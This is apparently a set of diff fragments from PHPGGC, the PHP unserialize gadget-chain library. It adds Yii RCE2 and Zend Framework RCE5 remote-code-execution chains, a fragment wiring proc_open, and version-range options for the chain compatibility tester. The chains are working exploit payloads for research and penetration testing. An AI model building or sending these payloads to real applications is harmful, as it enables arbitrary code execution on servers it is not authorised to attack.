59 | class PhpArrayAdapter | |
60 | { | |
61 | private $values; | |
62 | private $createCacheItem; | |
63 | ||
64 | function __construct($cmd) | |
65 | { | |
66 | $this->values = array($cmd=>[]); | |
67 | $this->createCacheItem = "proc_open"; | |
68 | } | |
69 | } | |
70 | }⏎ |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Yii; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.1.20'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | $a = new \WikiPublishTask($function, $parameter); | |
16 | ||
17 | return $a; | |
18 | } | |
19 | } |
0 | <?php | |
1 | ||
2 | namespace Prophecy\Argument\Token | |
3 | { | |
4 | class ExactValueToken | |
5 | { | |
6 | private $util; | |
7 | private $value; | |
8 | ||
9 | function __construct($function, $parameter) | |
10 | { | |
11 | $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function); | |
12 | $this->value = $parameter; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | namespace | |
18 | { | |
19 | class WikiPublishTask | |
20 | { | |
21 | private $cookiesFile; | |
22 | ||
23 | function __construct($function, $parameter) | |
24 | { | |
25 | $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken( | |
26 | $function, $parameter | |
27 | ); | |
28 | } | |
29 | } | |
30 | ||
31 | class PHPUnit_Extensions_Selenium2TestCase_Session | |
32 | { | |
33 | protected $commands; | |
34 | protected $url; | |
35 | protected $driver; | |
36 | ||
37 | function __construct($function) | |
38 | { | |
39 | $this->commands = ['stringify' => $function]; | |
40 | $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL(); | |
41 | $this->driver = new DocBlox_Parallel_Worker(); | |
42 | } | |
43 | } | |
44 | ||
45 | class PHPUnit_Extensions_Selenium2TestCase_URL | |
46 | { | |
47 | } | |
48 | ||
49 | class DocBlox_Parallel_Worker | |
50 | { | |
51 | } | |
52 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\ZendFramework; | |
3 | ||
4 | class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '2.0.0rc2 <= 2.5.3'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters["function"]; | |
13 | $parameter = $parameters["parameter"]; | |
14 | ||
15 | return new \Zend\Cache\Storage\Adapter\Memory($function, $parameter); | |
16 | } | |
17 | } |
0 | <?php | |
1 | namespace Zend\Cache\Storage\Adapter | |
2 | { | |
3 | class Memory | |
4 | { | |
5 | protected $eventHandles; | |
6 | protected $events; | |
7 | ||
8 | function __construct($function, $param) | |
9 | { | |
10 | $this->eventHandles = [1]; | |
11 | $this->events = new \Zend\View\Renderer\PhpRenderer($function, $param); | |
12 | } | |
13 | } | |
14 | } | |
15 | ||
16 | namespace Zend\View\Renderer | |
17 | { | |
18 | class PhpRenderer | |
19 | { | |
20 | private $__helpers; | |
21 | ||
22 | function __construct($function, $param) | |
23 | { | |
24 | $this->__helpers = new \Zend\Tag\Cloud\DecoratorPluginManager($function, $param); | |
25 | } | |
26 | } | |
27 | } | |
28 | ||
29 | namespace Zend\Tag\Cloud | |
30 | { | |
31 | class DecoratorPluginManager | |
32 | { | |
33 | protected $canonicalNames; | |
34 | protected $invokableClasses; | |
35 | protected $retrieveFromPeeringManagerFirst; | |
36 | protected $initializers; | |
37 | ||
38 | function __construct($function, $param) | |
39 | { | |
40 | $this->canonicalNames = array("detach"=>"cname","cname"=>"any"); | |
41 | $this->invokableClasses = array("cname"=>"Zend\Tag\Cloud\DecoratorPluginManager");//satisfying the class_exists | |
42 | $this->retrieveFromPeeringManagerFirst = false; | |
43 | $this->initializers = [new \Zend\Filter\FilterChain($function, $param)]; | |
44 | } | |
45 | } | |
46 | } | |
47 | ||
48 | namespace Zend\Filter | |
49 | { | |
50 | class FilterChain | |
51 | { | |
52 | protected $filters; | |
53 | ||
54 | function __construct($function, $param) | |
55 | { | |
56 | $this->filters = new \SplFixedArray(2); | |
57 | $this->filters[0] = array( | |
58 | new \Zend\Json\Expr($param), | |
59 | "__toString" | |
60 | ); | |
61 | $this->filters[1] = $function; | |
62 | } | |
63 | } | |
64 | } | |
65 | ||
66 | namespace Zend\Json | |
67 | { | |
68 | class Expr | |
69 | { | |
70 | protected $expression; | |
71 | ||
72 | function __construct($param) | |
73 | { | |
74 | $this->expression = $param; | |
75 | } | |
76 | } | |
77 | } |
231 | 231 | }, $classes); |
232 | 232 | |
233 | 233 | $gcs = array_combine($names, $classes); |
234 | ksort($gcs); | |
234 | ksort($gcs, SORT_NATURAL); | |
235 | 235 | |
236 | 236 | return $gcs; |
237 | 237 | } |
16 | 16 | |
17 | 17 | Dependencies: |
18 | 18 | $ pip install rich |
19 | ||
20 | Versions: | |
21 | You can specify package version by adding a semicolon to the package name: | |
22 | ||
23 | # Tests version 1.6.0 and 1.6.3 | |
24 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 | |
25 | ||
26 | or with a range: | |
27 | ||
28 | # Tests from version 5.0.0 to 6.1.3 | |
29 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 | |
30 | ||
31 | If no upper or lower version is present, every version before (resp. after) | |
32 | the specified one will be tested: | |
33 | ||
34 | # from doctrine 1.12.0 to the newest | |
35 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 | |
36 | # from the first version of doctrine to 1.6.0 | |
37 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 | |
38 | ||
19 | 39 | |
20 | 40 | Credit goes to @M4yFly for the original idea and implementation. |
21 | 41 | """ |
28 | 48 | import tempfile |
29 | 49 | import shutil |
30 | 50 | |
31 | ||
32 | 51 | try: |
33 | 52 | from rich import print |
34 | 53 | except ImportError: |
57 | 76 | for gc in self._gcs: |
58 | 77 | self.ensure_gc_exists(gc) |
59 | 78 | |
60 | versions = self._package.get_versions() | |
79 | php_version = self._executor.php("--version")[0].split("\n")[0] | |
80 | print(f"Running on PHP version " f"[blue]{php_version}[/blue]" f".") | |
81 | ||
82 | versions = self._package.get_target_versions() | |
61 | 83 | print( |
62 | 84 | f"Testing {len(versions)} versions for " |
63 | 85 | f"[blue]{self._package.name}[/blue] against " |
130 | 152 | |
131 | 153 | def setup_arguments(): |
132 | 154 | parser = argparse.ArgumentParser( |
133 | description="Test PHPGGC gadget chains against every version of a composer package." | |
155 | description="Test PHPGGC gadget chains against every version of a composer package.", | |
156 | epilog="""\ | |
157 | Example: | |
158 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
159 | ||
160 | Required executables: | |
161 | The program requires phpggc and composer. | |
162 | By default, it will use the `phpggc` from the current directory, and the | |
163 | composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` | |
164 | and `COMPOSER_PATH` environment variables. | |
165 | If a file cannot be ran straight up, we'll try using `php <file>` instead. | |
166 | ||
167 | Dependencies: | |
168 | $ pip install rich | |
169 | ||
170 | Versions: | |
171 | You can specify package version by adding a semicolon to the package name: | |
172 | ||
173 | # Tests version 1.6.0 and 1.6.3 | |
174 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 | |
175 | ||
176 | or with a range: | |
177 | ||
178 | # Tests from version 5.0.0 to 6.1.3 | |
179 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 | |
180 | ||
181 | If no upper or lower version is present, every version before (resp. after) | |
182 | the specified one will be tested: | |
183 | ||
184 | # from doctrine 1.12.0 to the newest | |
185 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 | |
186 | # from the first version of doctrine to 1.6.0 | |
187 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 | |
188 | """, | |
189 | formatter_class=argparse.RawTextHelpFormatter, | |
134 | 190 | ) |
135 | 191 | parser.add_argument("package") |
136 | 192 | parser.add_argument("gadget_chain", nargs="+") |
168 | 224 | if path.exists(): |
169 | 225 | php_file = str(path.absolute()) |
170 | 226 | |
171 | php_binary = os.environ.get("PHP_BINARY", "php") | |
172 | ||
173 | 227 | if self._try_run_command(php_file): |
174 | 228 | return (php_file,) |
175 | elif path.exists() and self._try_run_command(php_binary, php_file): | |
176 | return (php_binary, php_file) | |
229 | elif path.exists() and self._try_run_command(self._php_path, php_file): | |
230 | return (self._php_path, php_file) | |
177 | 231 | raise TesterException(f"Unable to run PHP file: {php_file}") |
178 | 232 | |
179 | 233 | def get_commands(self): |
187 | 241 | if not pathlib.Path(phpggc).is_file(): |
188 | 242 | raise TesterException("phpggc executable not found") |
189 | 243 | |
244 | self._php_path = os.environ.get("PHP_BINARY", "php") | |
190 | 245 | self._phpggc = self._get_valid_run_command(phpggc) |
191 | 246 | self._composer = self._get_valid_run_command(composer) |
192 | 247 | |
205 | 260 | """ |
206 | 261 | return self._run(*self._phpggc, *args).returncode == 0 |
207 | 262 | |
263 | def php(self, *args): | |
264 | """Runs PHP with given arguments and returns whether the execution | |
265 | was successful or not. | |
266 | """ | |
267 | process = self._run(self._php_path, *args) | |
268 | return process.stdout.decode("utf-8"), process.stderr.decode("utf-8") | |
269 | ||
208 | 270 | |
209 | 271 | class Package: |
210 | 272 | """Represents a composer package.""" |
211 | 273 | |
212 | 274 | def __init__(self, name, executor): |
213 | self.name = name | |
275 | self.extract_name_versions(name) | |
214 | 276 | self._executor = executor |
215 | 277 | self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc")) |
216 | 278 | |
217 | def get_versions(self): | |
218 | """Uses composer to obtain each version (or tag) for the package.""" | |
279 | def extract_name_versions(self, name): | |
280 | if ":" not in name: | |
281 | self.name = name | |
282 | self.versions = None | |
283 | else: | |
284 | self.name, self.versions = name.split(":") | |
285 | ||
286 | def get_package_versions(self): | |
219 | 287 | versions, _ = self._executor.composer("show", "-a", self.name) |
220 | 288 | versions = re.search(r"versions :(.*)\ntype", versions).group(1) |
221 | 289 | return [v.strip() for v in versions.split(",")] |
290 | ||
291 | def get_target_versions(self): | |
292 | """Uses composer to obtain each version (or tag) for the package.""" | |
293 | if self.versions is None: | |
294 | return self.get_package_versions() | |
295 | ||
296 | package_versions = None | |
297 | target_versions = [] | |
298 | ||
299 | def get_version_idx_or_raise(version): | |
300 | try: | |
301 | return package_versions.index(version) | |
302 | except ValueError: | |
303 | raise ValueError(f"Version {version} could not be found") | |
304 | ||
305 | for version in self.versions.split(","): | |
306 | # range | |
307 | if ".." in version: | |
308 | vmin, vmax = version.split("..") | |
309 | if package_versions is None: | |
310 | package_versions = self.get_package_versions() | |
311 | ||
312 | vmin_idx = ( | |
313 | get_version_idx_or_raise(vmin) if vmin else len(package_versions) | |
314 | ) | |
315 | vmax_idx = get_version_idx_or_raise(vmax) if vmax else 0 | |
316 | # Versions are stored from biggest to smallest | |
317 | target_versions += package_versions[vmax_idx : vmin_idx + 1] | |
318 | else: | |
319 | target_versions.append(version) | |
320 | ||
321 | return target_versions | |
222 | 322 | |
223 | 323 | def clean_workdir(self, final=False): |
224 | 324 | """Removes any composer related file in the working directory, such as |
234 | 334 | """Uses composer to install a specific version of the package.""" |
235 | 335 | self.clean_workdir() |
236 | 336 | _, stderr = self._executor.composer( |
237 | "require", "-q", "--ignore-platform-reqs", f"{self.name}:{version}" | |
337 | "require", | |
338 | "--no-scripts", | |
339 | "--no-interaction", | |
340 | "--no-plugins", | |
341 | "--quiet", | |
342 | "--ignore-platform-req=ext-*", | |
343 | f"{self.name}:{version}", | |
238 | 344 | ) |
239 | 345 | if stderr: |
240 | 346 | raise ValueError(f"Unable to install version: {version}") |